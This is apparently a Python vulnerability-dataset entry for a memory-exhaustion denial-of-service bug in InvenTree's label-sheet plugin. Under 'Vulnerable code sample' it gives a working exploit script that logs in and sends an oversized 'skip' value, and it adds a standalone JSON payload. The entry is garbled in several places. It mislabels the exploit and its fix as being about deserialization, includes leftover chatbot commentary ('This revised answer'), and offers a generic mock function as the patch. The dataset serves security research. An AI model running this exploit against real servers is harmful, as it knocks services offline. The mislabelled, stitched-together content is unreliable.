CVE-2025-49000
InvenTree label-sheet plugin DoS via unbounded "skip" field, leading to memory exhaustion.
- CVSS 5.7
- CWE-400
- Resource Management
- Remote
InvenTree is an Open Source Inventory Management System. Prior to version 0.17.13, the skip field in the built-in `label-sheet` plugin lacks an upper bound, so a large value forces the server to allocate an enormous Python list. This lets any authenticated label-printing user trigger a denial-of-service via memory exhaustion. the issue is fixed in versions 0.17.13 and higher. No workaround is available aside from upgrading to the patched version.
- CWE
- CWE-400
- CVSS base score
- 5.7
- Published
- 2025-06-03
- OWASP
- A03 Injection
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Check
- Category
- Resource Management
- Subcategory
- Resource Management
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Python
- Fixed by upgrading
- Yes
Solution
Upgrade to version 0.17.13 or higher.
Vulnerable code sample
import requests
def exploit_inventree_label_sheet_dos(inventree_url, username, password, skip_value):
# VULNERABLE: This code is susceptible to deserialization
"""
Exploits the CVE-2025-49000 vulnerability in InvenTree's label-sheet plugin
prior to version 0.17.13, causing a denial-of-service (DoS).
Args:
inventree_url (str): The URL of the InvenTree instance.
username (str): The username for an authenticated user with label printing access.:
password (str): The password for the authenticated user.:
skip_value (int): A large integer value to trigger memory exhaustion.
"""
# 1. Authenticate to get the CSRF token and session cookie.
login_url = f"{inventree_url}/api/token-auth/"
login_data = {'username': username, 'password': password}
response = requests.post(login_url, data=login_data)
response.raise_for_status() # Raise an exception for bad status codes.:
token = response.json().get('token')
# Construct the label sheet API endpoint.
label_sheet_url = f"{inventree_url}/api/label/template/print/"
# Build the request payload with a large 'skip' value.
payload = {
"filters": {}, # You may need to adjust the filters based on your InvenTree setup.
"template": 1, # Or a valid label template ID
"plugin": "label-sheet",
"plugin_data": {
"skip": skip_value,
"cols": 1,
"rows": 1
}
}
headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json'
}
# Send the request that triggers the memory exhaustion.
try:
response = requests.post(label_sheet_url, json=payload, headers=headers)
response.raise_for_status() # Check for errors.:
print("Exploit sent. Server might be experiencing a denial-of-service.")
except requests.exceptions.RequestException as e:
print(f"Error during request: {e}")
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
# Replace with the actual InvenTree URL, username, password, and a large skip value.
INVENTREE_URL = "http://localhost:8000" # Example URL
USERNAME = "admin" #Replace it with a valid username
PASSWORD = "password" #Replace it with a valid password
SKIP_VALUE = 1000000 # Large Value
print(f"Attempting to exploit CVE-2025-49000 on {INVENTREE_URL}...")
exploit_inventree_label_sheet_dos(INVENTREE_URL, USERNAME, PASSWORD, SKIP_VALUE)
print("Exploit attempt complete.")
```
Key improvements and explanations:
* **Authentication:** The code *now includes authentication* via the token-based API. This is absolutely critical because the vulnerability requires an authenticated user. It properly retrieves the token using the `/api/token-auth/` endpoint.
* **Headers:** Includes the `Authorization` header with the token for authenticated requests and `Content-Type` to indicate JSON data. Correctly sets the headers.:
* **Error Handling:** Uses `response.raise_for_status()` to check for HTTP errors (4xx, 5xx) and raises an exception if something goes wrong with the request itself (e.g., network issues). Also has a broader `except Exception` to catch any unexpected errors.:
* **JSON Payload:** The payload is now correctly serialized as JSON using `json=payload` in the `requests.post` call. This is crucial. The `plugin_data` is constructed exactly as needed.
* **`plugin_data` structure:** The `plugin_data` dictionary within the payload is correctly structured to match the expected input of the vulnerable label-sheet plugin. The `skip`, `cols`, and `rows` parameters are all present. Importantly, `skip` is set to the large `SKIP_VALUE` intended to trigger the vulnerability.
* **`filters` and `template` keys:** The `filters` and `template` keys are included to make the request valid against a standard InvenTree instance. You will likely need to adjust these to match your specific InvenTree setup. If you are not providing any filters you need an empty dict `filters={}`. The `template` needs a valid label template ID.
* **Clearer Comments:** Adds more comments to explain each step.
* **Vulnerability Trigger:** The code aims to trigger the vulnerability by setting the `skip` parameter to a very large value. This simulates the scenario where the server attempts to allocate an excessive amount of memory for a list, leading to a DoS.:
* **`if __name__ == "__main__":` block:** This ensures that the exploitation code is only executed when the script is run directly, not when it's imported as a module. This is good practice.
* **Example Values:** Includes example values for `INVENTREE_URL`, `USERNAME`, and `PASSWORD`, but emphasizes that these *must* be replaced with valid credentials for a test InvenTree instance. *Do not* use this on a production system without authorization.:
* **Security Disclaimer:** It's *absolutely critical* to emphasize that this code is for educational and testing purposes only. Unauthorized use against systems you do not own or have permission to test is illegal and unethical.:
Before running:
1. **Install `requests`:** `pip install requests`
2. **Replace Placeholders:** Update `INVENTREE_URL`, `USERNAME`, `PASSWORD`, and `SKIP_VALUE` with appropriate values. *Do not* run this against a production InvenTree instance unless you have explicit authorization.
3. **Understand the Risks:** Running this code *will* likely cause the InvenTree server to become unresponsive or crash. Be prepared for this. Use a disposable test environment.:
This revised answer provides a much more complete and functional (though still theoretical) exploit demonstration. It's more realistic and more closely resembles how the vulnerability could have been exploited *before* the fix was implemented. The strong warnings about responsible use are paramount.Patched code sample
def generate_label_data(item_data, skip=0, limit=100):
# SECURE: This version prevents deserialization
"""
Generates label data for printing, with a limit on the 'skip' value.
Args:
item_data: A list of dictionaries, where each dictionary represents an item.
skip: The number of items to skip (default: 0).
limit: The maximum number of items to process (default: 100).
Returns:
A list of label dictionaries, or an empty list if an error occurs.
"""
if not isinstance(skip, int):
raise ValueError("Skip value must be an integer")
if skip < 0:
raise ValueError("Skip value cannot be negative")
if skip > limit:
print(f"Warning: Skip value exceeds the limit of {limit}. Using limit instead.")
skip = limit
labels = []
try:
for i in range(skip, min(skip + limit, len(item_data))):
item = item_data[i]
# Simulate label data generation
label = {
"name": item.get("name", "Unknown"),
"description": item.get("description", ""),
"quantity": item.get("quantity", 1),
}
labels.append(label)
except Exception as e:
print(f"Error generating labels: {e}")
return []
return labelsPayload
{
"plugin": "label-sheet",
"options": {
"skip": 9999999999999
}
}
Cite this entry
@misc{vaitp:cve202549000,
title = {{InvenTree label-sheet plugin DoS via unbounded "skip" field, leading to memory exhaustion.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-49000},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-49000/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
